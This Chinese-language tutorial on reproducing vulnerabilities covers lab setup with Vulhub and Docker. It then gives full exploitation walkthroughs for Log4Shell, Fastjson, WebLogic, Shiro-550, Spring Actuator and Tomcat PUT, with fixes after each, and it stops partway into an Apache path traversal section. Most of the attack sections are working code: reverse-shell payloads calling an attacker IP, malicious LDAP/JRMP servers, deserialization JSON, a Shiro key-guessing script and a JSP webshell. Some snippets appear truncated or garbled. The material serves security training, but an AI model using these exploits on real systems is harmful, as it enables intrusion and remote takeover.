【合规声明】本文所述漏洞复现技术仅用于授权测试、安全研究与学习交流,严禁用于任何非法用途。所有复现操作均在本地搭建的隔离靶场环境中进行。读者在使用本文所述技术前,请确保已获得目标系统的合法授权,并遵守所在国家/地区相关法律法规。未经授权对他人系统进行漏洞测试属于违法行为,作者不承担任何因不当使用本文内容而产生的法律责任。

一、前言:为什么要系统学习漏洞复现

漏洞复现是安全研究人员从理论走向实战的关键环节。很多初学者看完漏洞原理分析后,仍然停留在"知道是什么"的层面,无法真正掌握"怎么利用、怎么验证、怎么修复"。系统的漏洞复现训练能够帮助安全从业者:

深入理解漏洞成因:从代码层面到协议层面,还原漏洞触发全链路

掌握环境搭建能力:能够快速构建各类中间件、框架的漏洞环境

熟悉利用工具链:从POC编写到EXP利用的完整工具使用能力

积累实战经验:为真实渗透测试和漏洞挖掘打下坚实基础

本文不讲单个漏洞的原理细节,而是聚焦漏洞复现的完整流程和方法论,从环境搭建、漏洞验证、利用获取Shell到修复方案,形成一套可复用的复现工作流。

二、漏洞复现环境搭建

漏洞复现的第一步是搭建可控的漏洞环境。一个良好的靶场环境应该具备以下特点:环境隔离、可快速重建、覆盖漏洞类型全面、贴近真实生产配置。

2.1 Vulhub漏洞靶场框架使用

Vulhub是目前最流行的开源漏洞环境集合,基于Docker和Docker Compose,能够一键启动包含已知漏洞的各类应用环境,极大降低了漏洞复现的门槛。

2.1.1 环境准备

Vulhub依赖Docker和Docker Compose,需要先完成基础环境安装。以下以Ubuntu 22.04为例:

```bash

安装Docker

curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun

启动Docker服务并设置开机自启

systemctl start docker

systemctl enable docker

验证Docker安装

docker --version

docker run hello-world

安装Docker Compose(V2版本已集成到docker插件中)

方式一:使用apt安装docker-compose-plugin

apt-get update

apt-get install docker-compose-plugin

方式二:手动安装独立版本docker-compose

curl -L "https://github.com/docker/compose/releases/download/v2.20.0/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose

chmod +x /usr/local/bin/docker-compose

docker-compose --version

```

```bash

克隆Vulhub仓库

cd /opt

git clone https://github.com/vulhub/vulhub.git

cd vulhub

ls

```

2.1.2 Vulhub目录结构说明

Vulhub的目录结构按照"中间件/框架 -> 漏洞CVE编号"的方式组织,层次清晰:

```

vulhub/

├── log4j/ # 按组件分类

│ └── CVE-2021-44228/ # 按CVE编号分类

│ ├── docker-compose.yml # 环境编排文件

│ ├── README.md # 漏洞说明文档

│ └── ...

├── fastjson/

│ ├── 1.2.24-rce/

│ ├── 1.2.47-rce/

│ └── 1.2.80-rce/

├── weblogic/

│ ├── CVE-2018-2628/

│ ├── CVE-2017-10271/

│ └── CVE-2020-14882/

├── spring/

│ ├── CVE-2022-22965/

│ └── CVE-2022-22947/

├── nginx/

│ ├── CVE-2017-7529/

│ └── insecure-configuration/

└── ...

```

【提示】README.md文件中通常包含漏洞简介、影响版本、复现步骤和参考链接,复现前务必先阅读。

2.1.3 常用漏洞环境启动命令

Vulhub的启动命令高度统一,掌握一套命令即可复现大部分环境:

```bash

进入对应漏洞目录

cd /opt/vulhub/log4j/CVE-2021-44228

一键启动漏洞环境(后台运行)

docker-compose up -d

查看运行中的容器

docker-compose ps

docker ps

查看容器日志

docker-compose logs

docker logs <容器名>

查看容器端口映射,确认服务端口

docker-compose ps

或

docker port <容器名>

销毁环境(复现完成后务必清理)

docker-compose down -v

```

【注意】每次复现完成后务必执行 docker-compose down -v 清理环境,避免端口冲突和资源占用。多个环境同时运行可能导致端口冲突,建议一次只启动一个漏洞环境。

```bash

查看当前所有Docker资源占用

docker system df

清理所有停止的容器、悬空镜像和未使用网络

docker system prune -a --volumes

```

2.2 Vulapps靶场介绍

Vulapps是另一个基于Docker的漏洞环境集合,与Vulhub类似但收录的漏洞环境有所不同,可作为Vulhub的补充。

```bash

拉取Vulapps环境(以Struts2漏洞为例)

docker pull medicean/vulapps:s_struts2_s2-037

运行环境

docker run -d -p 8080:8080 medicean/vulapps:s_struts2_s2-037

```

Vulapps的特点是通过Docker Hub直接分发镜像,使用简单但需要手动查找对应标签。

2.3 手动搭建漏洞环境

当Vulhub等靶场未收录目标漏洞时,需要手动搭建环境。手动搭建能够锻炼对应用部署架构的理解能力。

2.3.1 Dockerfile编写

以下是一个搭建存在漏洞的Tomcat环境的Dockerfile示例:

```dockerfile

基础镜像:使用JDK 8

FROM openjdk:8-jre-slim

设置环境变量

ENV CATALINA_HOME /usr/local/tomcat

ENV PATH CATALINA_HOME/bin:PATH

安装Tomcat 8.5.20(受CVE-2017-12615影响版本)

RUN mkdir -p "$CATALINA_HOME" \

&& cd /tmp \

&& apt-get update && apt-get install -y wget \

&& wget https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.20/bin/apache-tomcat-8.5.20.tar.gz \

&& tar -xzf apache-tomcat-8.5.20.tar.gz -C "$CATALINA_HOME" --strip-components=1 \

&& rm apache-tomcat-8.5.20.tar.gz

修改配置开启PUT方法(制造漏洞条件)

RUN sed -i 's/default<\/servlet-name>/default<\/servlet-name>/' $CATALINA_HOME/conf/web.xml \

&& sed -i '/default<\/servlet-name>/,/<\/servlet>/s|readonly|readonly|' $CATALINA_HOME/conf/web.xml

EXPOSE 8080

CMD "catalina.sh", "run"

```

2.3.2 Docker Compose编排多组件环境

实际漏洞复现中,很多环境需要多组件配合,例如Web应用+数据库+缓存服务。Docker Compose能够编排这些服务:

```yaml

version: '3'

services:

Web应用服务

webapp:

build: ./webapp

ports:

"8080:8080"

depends_on:

mysql

redis

environment:

DB_HOST=mysql

DB_PORT=3306

REDIS_HOST=redis

networks:

vuln_net

MySQL数据库服务

mysql:

image: mysql:5.7

environment:

MYSQL_ROOT_PASSWORD: root123

MYSQL_DATABASE: vulnapp

ports:

"3306:3306"

networks:

vuln_net

Redis缓存服务

redis:

image: redis:5.0

ports:

"6379:6379"

networks:

vuln_net

networks:

vuln_net:

driver: bridge

```

```bash

构建并启动多组件环境

docker-compose up -d --build

查看服务状态

docker-compose ps

```

2.3.3 Docker镜像搜索与使用

Docker Hub和各类镜像仓库是获取漏洞环境的重要来源:

```bash

搜索Docker Hub上的漏洞靶场镜像

docker search dvwa

docker search sqli-labs

docker search webgoat

拉取DVWA靶场

docker pull vulnerables/web-dvwa

运行DVWA

docker run -d -p 80:80 vulnerables/web-dvwa

拉取sqli-labs

docker pull acgpiano/sqli-labs

docker run -d -p 80:80 acgpiano/sqli-labs

```

2.4 虚拟机靶场搭建

部分漏洞环境(尤其是系统级漏洞、内网渗透靶场)需要完整的操作系统环境,此时虚拟机是更好的选择。

2.4.1 VMware/VirtualBox安装配置

VMware Workstation和VirtualBox是两款主流虚拟化软件:

```text

VMware Workstation Pro:

下载地址:https://www.vmware.com/products/workstation-pro.html

优势:性能好、功能丰富、快照管理方便

推荐版本:VMware Workstation Pro 17+

VirtualBox:

下载地址:https://www.virtualbox.org/

优势:开源免费、跨平台

推荐版本:VirtualBox 7.0+

```

2.4.2 靶机VM下载资源列表

以下是常用的靶机虚拟机资源,用于漏洞复现和渗透练习:

| 靶机名称 | 下载地址 | 适用场景 | 难度 |

|---------|---------|---------|------|

| Metasploitable2 | https://sourceforge.net/projects/metasploitable/ | Linux漏洞复现入门 | 初级 |

| Metasploitable3 | https://github.com/rapid7/metasploitable3 | Windows/Linux综合漏洞 | 中级 |

| VulnHub系列 | https://www.vulnhub.com/ | 各类CTF风格靶机 | 初-高级 |

| OWASP Broken Web Apps | https://sourceforge.net/projects/owaspbwa/ | Web漏洞综合练习 | 初级 |

| HackTheBox | https://www.hackthebox.com/ | 在线渗透靶场 | 中-高级 |

| TryHackMe | https://tryhackme.com/ | 在线引导式学习 | 初-中级 |

| PentesterLab | https://www.pentesterlab.com/ | 结构化漏洞练习 | 中级 |

2.4.3 网络隔离配置建议

漏洞复现环境必须与生产网络和互联网隔离,防止漏洞利用过程中意外影响外部系统:

```text

网络隔离方案:

仅主机模式(Host-Only):虚拟机只能与宿主机通信,完全隔离外网

NAT模式:虚拟机可访问外网但外部无法主动访问虚拟机(更新系统时使用)

内部网络模式:多台虚拟机之间通信,完全与宿主机隔离

推荐配置:

攻击机:Kali Linux,使用NAT模式(需下载工具)或Host-Only模式

靶机:使用Host-Only模式,与攻击机在同一网段

不建议将漏洞靶场暴露到公网,避免被他人利用

```

【警告】绝对不要将包含已知漏洞的靶场环境部署在公网服务器上。即使用于学习目的,公网上的漏洞环境也可能被恶意攻击者利用作为跳板,造成严重法律后果。

2.5 常用靶场平台对比表

| 平台名称 | 部署方式 | 漏洞覆盖 | 适用场景 | 优势 | 劣势 |

|---------|---------|---------|---------|------|------|

| Vulhub | Docker Compose | 中间件/框架CVE | 快速复现特定CVE | 一键启动、更新快 | 不含系统漏洞 |

| Vulapps | Docker镜像 | Web中间件 | 补充Vulhub | 使用简单 | 更新较慢 |

| DVWA | Docker/虚拟机 | Web基础漏洞 | 入门学习 | 经典全面 | 漏洞较旧 |

| Pikachu | Docker/虚拟机 | Web基础漏洞 | 入门练习 | 中文友好 | 漏洞较基础 |

| Upload-labs | Docker/源码 | 文件上传专项 | 上传漏洞专项 | 覆盖全面 | 单一类型 |

| sqli-labs | Docker/源码 | SQL注入专项 | 注入专项练习 | 75关覆盖全 | 单一类型 |

| WebGoat | Docker/JAR | Web综合 | Java安全学习 | 结构化课程 | 环境较重 |

| HackTheBox | 在线平台 | 综合 | 实战能力提升 | 贴近真实环境 | 需要VPN |

| TryHackMe | 在线平台 | 综合+引导 | 新手入门 | 引导式学习 | 部分付费 |

三、Web漏洞复现实战

本节通过多个高危害CVE漏洞的完整复现流程,演示从环境搭建到获取Shell的全过程。每个复现案例都包含详细的操作步骤和可执行的命令。

3.1 复现一:Apache Log4j2 RCE(CVE-2021-44228)完整流程

3.1.1 漏洞影响版本说明

CVE-2021-44228(Log4Shell)是2021年最严重的漏洞之一,影响Apache Log4j 2.0-beta9至2.14.1版本。该漏洞源于Log4j2的JNDI注入特性,攻击者只需控制日志内容即可触发远程代码执行。

```text

受影响版本:Apache Log4j 2.0-beta9 ~ 2.14.1

不受影响版本:Apache Log4j 2.15.0及以上(2.16.0彻底移除JNDI支持)

影响范围:所有使用受影响Log4j2版本的应用(Spring Boot、Struts2、Solr、ElasticSearch等)

```

3.1.2 Vulhub启动命令

```bash

cd /opt/vulhub/log4j/CVE-2021-44228

启动漏洞环境

docker-compose up -d

查看服务端口

docker-compose ps

默认映射端口为8983(Solr服务)

```

启动后访问 http://靶机IP:8983/solr/ 可看到Solr管理界面,该Solr服务使用了存在漏洞的Log4j2版本。

3.1.3 JNDI注入利用工具marshalsec搭建LDAP服务

Log4j2漏洞利用需要搭建恶意的LDAP/RMI服务,marshalsec是最常用的JNDI注入利用工具:

```bash

下载marshalsec(需要Java 8和Maven环境)

cd /opt

git clone https://github.com/mbechler/marshalsec.git

cd marshalsec

编译marshalsec

mvn clean package -DskipTests

编写恶意利用类

cat > Exploit.java << 'EOF'

public class Exploit {

static {

try {

Runtime.getRuntime().exec(new String\[\]{"/bin/bash", "-c", "bash -i >& /dev/tcp/攻击机IP/4444 0>&1"});

} catch (Exception e) {

e.printStackTrace();

}

}

}

EOF

编译恶意类(注意:需要使用Java 8编译,高版本JDK可能不兼容)

javac Exploit.java

在恶意类所在目录启动HTTP服务(默认端口8000)

python3 -m http.server 8000

```

```bash

使用marshalsec启动恶意LDAP服务,指向HTTP服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://攻击机IP:8000/#Exploit"

默认监听1389端口

```

3.1.4 构造恶意payload触发漏洞

在攻击机上先开启监听,然后使用Log4j2的JNDI注入payload触发漏洞:

```bash

攻击机开启反弹Shell监听

nc -lvnp 4444

```

```bash

构造JNDI注入payload,通过Solr的搜索接口触发

payload格式:${jndi:ldap://攻击机IP:1389/Exploit}

方式一:使用curl触发(通过Solr搜索参数)

curl "http://靶机IP:8983/solr/admin/cores?action=\\${jndi:ldap://攻击机IP:1389/Exploit}"

方式二:通过HTTP Header触发(很多应用记录User-Agent等头信息)

curl -H "X-Api-Version: \${jndi:ldap://攻击机IP:1389/Exploit}" http://靶机IP:8983/

方式三:通过User-Agent触发

curl -A "\${jndi:ldap://攻击机IP:1389/Exploit}" http://靶机IP:8983/

```

【注意】在bash中,{}会被shell解释为变量,需要使用反斜杠转义:\\{jndi:...}。如果使用单引号包裹整个URL则不需要转义。

3.1.5 获取Shell完整步骤

完整的利用流程分为四个步骤,需要在攻击机上同时开启三个终端:

```text

终端1:开启反弹Shell监听

nc -lvnp 4444

终端2:启动恶意HTTP服务(提供Exploit.class下载)

cd /opt/marshalsec

python3 -m http.server 8000

终端3:启动恶意LDAP服务(重定向到HTTP服务)

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://攻击机IP:8000/#Exploit"

```

然后在任意终端发送触发payload:

```bash

curl "http://靶机IP:8983/solr/admin/cores?action=\\${jndi:ldap://攻击机IP:1389/Exploit}"

```

触发流程:靶机Log4j2记录payload -> 解析JNDI表达式 -> 连接攻击机LDAP服务 -> LDAP返回恶意类HTTP地址 -> 靶机下载并加载Exploit.class -> 执行static代码块 -> 反弹Shell到攻击机。

3.1.6 漏洞原理简要说明与修复方案

```text

漏洞原理:

Log4j2在记录日志时,会解析日志内容中的{}表达式。当日志中包含{jndi:ldap://...}时,

Log4j2会向指定LDAP服务器发起请求,LDAP服务器返回的Java类会被加载执行,从而导致RCE。

关键问题在于日志内容可被用户控制,且JNDIlookup功能未做任何限制。

修复方案:

升级Log4j2到2.17.1及以上版本(彻底修复)

临时缓解:设置JVM参数 log4j2.formatMsgNoLookups=true

临时缓解:删除JndiLookup类:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

WAF规则:拦截请求中包含 ${jndi: 的内容(注意各种绕过变体)

```

3.2 复现二:Fastjson反序列化RCE完整流程

3.2.1 漏洞版本与autoType机制说明

Fastjson是阿里巴巴开源的JSON解析库,其反序列化漏洞核心在于autoType机制。当autoType开启时,Fastjson可以根据JSON中的@type字段指定任意Java类进行反序列化,攻击者利用此特性可加载恶意类实现RCE。

```text

主要漏洞版本:

Fastjson <= 1.2.24:autoType默认开启,无任何限制

Fastjson 1.2.25 ~ 1.2.47:加入黑名单但可绕过(1.2.47通杀绕过)

Fastjson 1.2.48 ~ 1.2.68:修复绕过但仍有利用方式

Fastjson >= 1.2.69:默认关闭autoType,安全性提升

```

3.2.2 搭建恶意RMI/LDAP服务

利用ysoerial工具生成恶意类并通过RMI服务提供:

```bash

下载ysoerial

cd /opt

git clone https://github.com/frohoff/ysoserial.git

cd ysoserial

mvn clean package -DskipTests

使用JNDI-Injection-Exploit工具(更方便的JNDI利用工具)

git clone https://github.com/welk1n/JNDI-Injection-Exploit.git

cd JNDI-Injection-Exploit

mvn clean package -DskipTests

```

```bash

使用JNDI-Injection-Exploit生成并启动恶意服务

-C 参数指定要执行的命令

-A 参数指定攻击机IP

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "攻击机IP"

```

【提示】命令需要base64编码以避免特殊字符问题。生成bash -i >& /dev/tcp/IP/PORT 0>&1的base64编码可以使用:echo 'bash -i >& /dev/tcp/攻击机IP/4444 0>&1' | base64

3.2.3 构造JSON payload利用TemplatesImpl加载恶意类

```bash

开启反弹Shell监听

nc -lvnp 4444

```

Fastjson 1.2.24的利用payload(通过JdbcRowSetImpl类发起JNDI请求):

```json

{

"b":{

"@type":"com.sun.rowset.JdbcRowSetImpl",

"dataSourceName":"rmi://攻击机IP:1099/Exploit",

"autoCommit":true

}

}

```

Fastjson 1.2.47通杀绕过payload(利用缓存机制绕过autoType检查):

```json

{

"a":{

"@type":"java.lang.Class",

"val":"com.sun.rowset.JdbcRowSetImpl"

},

"b":{

"@type":"com.sun.rowset.JdbcRowSetImpl",

"dataSourceName":"ldap://攻击机IP:1389/Exploit",

"autoCommit":true

}

}

```

利用TemplatesImpl直接加载恶意字节码(不依赖外部JNDI服务):

```json

{

"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",

"_bytecodes":"\",

"_name":"a.b",

"_tfactory":{},

"_outputProperties":{}

}

```

3.2.4 获取Shell完整步骤

```bash

完整利用流程

步骤1:启动恶意LDAP/RMI服务

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,}|{base64,-d}|{bash,-i}" -A "攻击机IP"

步骤2:开启反弹Shell监听

nc -lvnp 4444

步骤3:发送恶意JSON payload到目标Fastjson接口

curl -X POST "http://靶机IP:8090/" \

-H "Content-Type: application/json" \

-d '{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://攻击机IP:1389/Exploit","autoCommit":true}}'

```

【注意】Fastjson漏洞利用受目标JDK版本影响。JDK 8u191及以上版本默认禁止远程类加载(com.sun.jndi.ldap.object.trustURLCodebase=false),此时需要利用本地Gadget链(如TemplatesImpl)或高版本JDK绕过技术。

3.3 复现三:WebLogic反序列化漏洞复现

3.3.1 T3协议漏洞概述

WebLogic是Oracle公司的Java EE应用服务器,其T3协议在反序列化过程中存在多个高危漏洞。攻击者通过向WebLogic的T3服务端口(默认7001)发送恶意序列化数据,可触发反序列化漏洞导致RCE。

```text

主要CVE编号:

CVE-2015-4852:WebLogic T3反序列化漏洞(首个)

CVE-2017-3248:T3协议反序列化(JRMP绕过)

CVE-2018-2628:T3协议反序列化

CVE-2019-2725:wls9-async组件反序列化

CVE-2020-2551:IIOP协议反序列化

CVE-2020-14882:控制台路径穿越+远程代码执行

```

```bash

启动Vulhub中的WebLogic漏洞环境

cd /opt/vulhub/weblogic/CVE-2018-2628

docker-compose up -d

查看端口映射

docker-compose ps

默认端口7001

```

3.3.2 利用weblogic_tool/python exploit脚本

```bash

下载WebLogic漏洞利用工具

cd /opt

git clone https://github.com/r4b3rt/PyWeblogic.git

使用Python exploit脚本检测漏洞

python3 weblogic_t3.py 靶机IP 7001

使用weblogic_tool进行利用(图形化工具)

下载地址:https://github.com/Y4er/weblogic-framework

git clone https://github.com/Y4er/weblogic-framework.git

cd weblogic-framework

go build -o weblogic-framework main.go

```

使用ysoerial配合JRMP协议利用WebLogic T3反序列化漏洞:

```bash

步骤1:使用ysoerial启动恶意JRMP服务

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 Jdk7u21 "bash -c {echo,}|{base64,-d}|{bash,-i}"

步骤2:使用exploit脚本将恶意JRMP地址通过T3协议发送给WebLogic

python3 exploit.py 靶机IP 7001 攻击机IP 9999

```

3.3.3 获取Shell流程

```bash

完整利用流程

终端1:开启反弹Shell监听

nc -lvnp 4444

终端2:启动恶意JRMP监听服务

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 Jdk7u21 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}"

终端3:发送T3协议利用payload

python3 exploit.py 靶机IP 7001 攻击机IP 9999

```

WebLogic漏洞利用成功后,会在靶机上执行反弹Shell命令,攻击机终端1即可获得WebLogic运行权限的Shell。

```text

修复方案:

及时安装Oracle官方补丁

限制T3协议访问:配置WebLogic连接过滤器

升级到最新版本WebLogic

如不需要,禁用wls9-async等组件

```

3.4 复现四:Apache Shiro反序列化(Shiro-550 CVE-2016-4437)

3.4.1 rememberMe参数分析

Apache Shiro是一个Java安全框架,提供认证、授权、加密和会话管理功能。Shiro-550漏洞存在于Shiro的rememberMe功能中,该功能使用Cookie记住用户登录状态。

```text

漏洞原理:

Shiro在处理rememberMe Cookie时,流程如下:

读取Cookie中的rememberMe值

使用AES密钥进行Base64解码和AES解密

对解密后的数据进行反序列化

关键问题:Shiro 1.2.4及以下版本使用硬编码的AES密钥(kPH+bIxk5D2deZiIxcaaaA==),

攻击者知道密钥后可以构造恶意的序列化数据,加密后放入rememberMe Cookie,

Shiro解密后反序列化触发RCE。

```

```bash

启动Vulhub中的Shiro漏洞环境

cd /opt/vulhub/shiro/CVE-2016-4437

docker-compose up -d

默认端口8080

```

3.4.2 AES密钥识别与利用

Shiro-550的关键在于AES密钥。默认密钥是已知的,但生产环境中可能被修改,需要识别实际使用的密钥:

```python

shiro_key_check.py - Shiro AES密钥检测脚本

import base64

import uuid

import requests

import subprocess

from Crypto.Cipher import AES

常见Shiro密钥列表

keys = [

"kPH+bIxk5D2deZiIxcaaaA==", # 默认密钥

"wGiHplamyXlVB11UXWol8g==",

"2AvVhdsgUs0FSA3SDFAdag==",

"Z3VucwAAAAAAAAAAAAAAAA==",

"fCq+/xW488hxxCDckcLW/rw==",

"4AvVhmFLUs0KTA3Kprsdag==",

"WcfHgH4QSoGXGeSV202gUw==",

]

生成检测Payload(序列化一个不存在的方法调用)

def get_payload(key):

使用ysoserial生成URLDNS payload用于探测

popen = subprocess.Popen(

'java', '-jar', 'ysoserial.jar', 'URLDNS', 'http://your-dnslog.cn/' + str(uuid.uuid4()),

stdout=subprocess.PIPE

)

payload = popen.stdout.read()

AES-CBC加密

bs = AES.block_size

iv = uuid.uuid4().bytes

cipher = AES.new(base64.b64decode(key), AES.MODE_CBC, iv)

padding = bs - len(payload) % bs

payload += bytes(padding) * padding

encrypted = iv + cipher.encrypt(payload)

return base64.b64encode(encrypted).decode()

检测密钥

for key in keys:

payload = get_payload(key)

headers = {

"Cookie": "rememberMe=" + payload,

"User-Agent": "Mozilla/5.0"

}

try:

r = requests.get("http://靶机IP:8080/", headers=headers, timeout=5)

if "deleteMe" not in r.headers.get("Set-Cookie", ""):

print(f"+ 发现有效密钥: {key}")

break

else:

print(f"- 密钥无效: {key}")

except Exception as e:

print(f"! 请求异常: {e}")

```

【提示】Shiro在解密失败或反序列化失败时会在Set-Cookie中返回deleteMe,利用这一特征可以判断密钥是否正确。

3.4.3 使用ShiroExp工具利用流程

ShiroExp是图形化的Shiro漏洞利用工具,集成了密钥探测和漏洞利用功能:

```text

ShiroExp利用步骤:

下载ShiroExp工具

填写目标URL:http://靶机IP:8080/

点击"检测密钥"功能,自动遍历常见密钥

密钥识别成功后,选择利用Gadget(CommonsBeanutils1、CommonsCollections等)

填写要执行的命令或反弹Shell地址

点击"执行"生成rememberMe Cookie

将Cookie注入浏览器或使用curl发送

```

使用命令行方式利用Shiro-550:

```bash

步骤1:使用ysoerial生成CommonsBeanutils1的payload

java -jar ysoserial.jar CommonsBeanutils1 "bash -c {echo,}|{base64,-d}|{bash,-i}" > payload.bin

步骤2:使用ShiroExploit工具加密payload

python3 shiro_exploit.py -t http://靶机IP:8080/ -k "kPH+bIxk5D2deZiIxcaaaA==" -f payload.bin

步骤3:使用生成的Cookie访问目标

curl -b "rememberMe=<生成的Cookie值>" http://靶机IP:8080/

```

```bash

完整流程

nc -lvnp 4444

然后发送上述curl请求,即可获得反弹Shell

```

```text

修复方案:

升级Shiro到1.2.5及以上版本(使用随机生成的AES密钥)

配置自定义AES密钥:securityManager.rememberMeManager.cipherKey

升级依赖的Commons-Collections等组件到安全版本

```

3.5 复现五:Spring Boot Actuator漏洞复现

3.5.1 /env端点信息泄露

Spring Boot Actuator提供了生产级别的监控和管理端点,如果配置不当导致端点暴露,可造成敏感信息泄露甚至RCE。

```bash

启动Vulhub中的Spring Boot Actuator漏洞环境

cd /opt/vulhub/spring/CVE-2022-22965

docker-compose up -d

```

```bash

访问/env端点,查看环境配置信息(可能包含数据库密码、密钥等)

curl http://靶机IP:8090/actuator/env

查看所有可用的Actuator端点

curl http://靶机IP:8090/actuator

```

/env端点返回的信息示例:

```json

{

"propertySources": [

{

"name": "systemEnvironment",

"properties": {

"DB_PASSWORD": {

"value": "******"

},

"REDIS_PASSWORD": {

"value": "redis123"

}

}

}

]

}

```

3.5.2 /refresh端点利用

```bash

通过/env端点修改环境变量(配合/refresh刷新)

步骤1:通过POST /env修改Spring属性

curl -X POST "http://靶机IP:8090/actuator/env" \

-H "Content-Type: application/json" \

-d '{"name":"eureka.client.serviceUrl.defaultZone","value":"http://攻击机IP:8888/"'

步骤2:刷新配置使其生效

curl -X POST "http://靶机IP:8090/actuator/refresh"

```

3.5.3 /jolokia漏洞利用RCE

当Actuator暴露了/jolokia端点且环境中存在可利用的MBean时,可通过JMX实现RCE:

```bash

查看Jolokia可用的MBean列表

curl http://靶机IP:8090/actuator/jolokia/list

利用logback MBean加载远程XML配置实现RCE

步骤1:在攻击机上准备恶意XML文件

cat > malicious.xml << 'EOF'

EOF

python3 -m http.server 8888

步骤2:通过Jolokia调用logback的reloadByURL方法

curl -X POST "http://靶机IP:8090/actuator/jolokia" \

-H "Content-Type: application/json" \

-d '{

"type": "EXEC",

"mbean": "ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator",

"operation": "reloadByURL",

"arguments": "http://攻击机IP:8888/malicious.xml"

}'

```

```text

修复方案:

禁用或限制Actuator端点:management.endpoints.web.exposure.include=health

不在生产环境暴露/env、/jolokia等敏感端点

为Actuator端点配置认证:management.security.enabled=true

升级Spring Boot到安全版本

```

四、中间件漏洞复现实战

中间件漏洞是渗透测试中的重点攻击面,本节复现常见的中间件高危漏洞。

4.1 复现六:Tomcat PUT方法任意文件上传(CVE-2017-12615)

4.1.1 漏洞原理与影响版本

```text

漏洞原理:

Tomcat的DefaultServlet配置了readonly=false时,允许通过PUT方法上传文件。

攻击者可上传JSP文件获取Webshell。某些版本中即使配置了readonly=true,

也可通过特殊文件名绕过(如shell.jsp/利用Windows路径特性)。

影响版本:

Apache Tomcat 7.0.0 ~ 7.0.79(PUT方法直接上传)

Apache Tomcat 7.0.0 ~ 7.0.81(特殊文件名绕过)

Windows平台影响范围更广(NTFS特性绕过)

```

4.1.2 利用PUT方法上传JSP Webshell

```bash

启动Vulhub中的Tomcat漏洞环境

cd /opt/vulhub/tomcat/CVE-2017-12615

docker-compose up -d

默认端口8080

```

```bash

方式一:直接PUT上传JSP文件(Tomcat 7.0.79及以下)

curl -X PUT "http://靶机IP:8080/shell.jsp" \

-H "Content-Type: application/octet-stream" \

-d '<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>'

方式二:利用文件名绕过(Tomcat 7.0.81)

Windows平台:使用shell.jsp%20或shell.jsp::$DATA

curl -X PUT "http://靶机IP:8080/shell.jsp " \

-H "Content-Type: application/octet-stream" \

-d '<%out.println("test");%>'

方式三:利用路径穿越特性

curl -X PUT "http://靶机IP:8080/shell.jsp/" \

-H "Content-Type: application/octet-stream" \

-d '<%out.println("test");%>'

```

4.1.3 完整curl命令示例

```bash

完整利用流程:上传Webshell并执行命令

步骤1:上传Webshell

curl -X PUT "http://靶机IP:8080/cmd.jsp/" \

-H "Content-Type: application/octet-stream" \

-d '<%

String cmd = request.getParameter("cmd");

Process p = Runtime.getRuntime().exec(new String\[\]{"/bin/bash", "-c", cmd});

java.io.InputStream is = p.getInputStream();

byte\[\] b = new byte2048;

int len;

while ((len = is.read(b)) != -1) {

out.write(new String(b, 0, len));

}

%>'

步骤2:访问Webshell执行命令

curl "http://靶机IP:8080/cmd.jsp?cmd=id"

curl "http://靶机IP:8080/cmd.jsp?cmd=whoami"

curl "http://靶机IP:8080/cmd.jsp?cmd=cat+/etc/passwd"

步骤3:获取反弹Shell

curl "http://靶机IP:8080/cmd.jsp?cmd=bash+-c+\\"bash+-i+\>%26+/dev/tcp/攻击机IP/4444+0\>%261\\""

```

```text

修复方案:

升级Tomcat到安全版本(7.0.82+)

确保web.xml中DefaultServlet的readonly参数设置为true

限制PUT、DELETE等HTTP方法

配置WAF拦截JSP文件上传

```

4.2 复现七:Nginx解析漏洞复现

4.2.1 CGI PATH_INFO解析问题

```text

漏洞原理:

当Nginx配置了将PHP请求转发给FastCGI处理时,如果配置中使用以下方式:

location ~ \.php$ {

fastcgi_pass 127.0.0.1:9000;

fastcgi_param SCRIPT_FILENAME document_rootfastcgi_script_name;

}

当请求/test.jpg/x.php时,Nginx将请求转发给PHP-FPM,

PHP-FPM的cgi.fix_pathinfo=1时,会将不存在的x.php回退到test.jpg,

并将其作为PHP代码执行,导致图片马被解析为PHP脚本。

```

```bash

启动Vulhub中的Nginx解析漏洞环境

cd /opt/vulhub/nginx/insecure-configuration

docker-compose up -d

```

4.2.2 上传图片马配合解析漏洞获取Shell

```bash

步骤1:制作图片马(将PHP代码嵌入图片)

在正常图片文件末尾追加PHP代码

echo '' >> normal.jpg

或使用GIF文件头绕过

printf 'GIF89a' > shell.gif

步骤2:通过文件上传功能将图片马上传到服务器

curl -X POST "http://靶机IP:8080/upload.php" \

-F "file=@shell.gif"

步骤3:利用Nginx解析漏洞触发PHP执行

假设图片上传后的路径为 /upload/shell.gif

curl "http://靶机IP:8080/upload/shell.gif/.php"

步骤4:使用蚁剑/菜刀连接Webshell

URL: http://靶机IP:8080/upload/shell.gif/.php

密码: cmd

```

```text

修复方案:

设置 cgi.fix_pathinfo=0(PHP 5.3.9+)

修改Nginx配置,精确匹配PHP文件:

location ~ \.php$ {

try_files $uri =404;

fastcgi_pass 127.0.0.1:9000;

}

限制上传目录禁止执行PHP:

location ~* ^/upload/.*\.(php|php5)$ {

deny all;

}

```

4.3 复现八:Apache HTTP Server目录穿越(CVE-2021-41773/CVE-2021-42013)

4.3.1 路径穿越读取任意文件

```text

漏洞原理:

Apache HTTP Server 2.4.49版本中,对路径规范化处理存在缺陷。

当配置了Alias或目录别名时,攻击者可通过 ../ 进行路径穿越,

读取Web根目录之外的任意文件。CVE-2021-42013是对41773修复的不完全绕过。

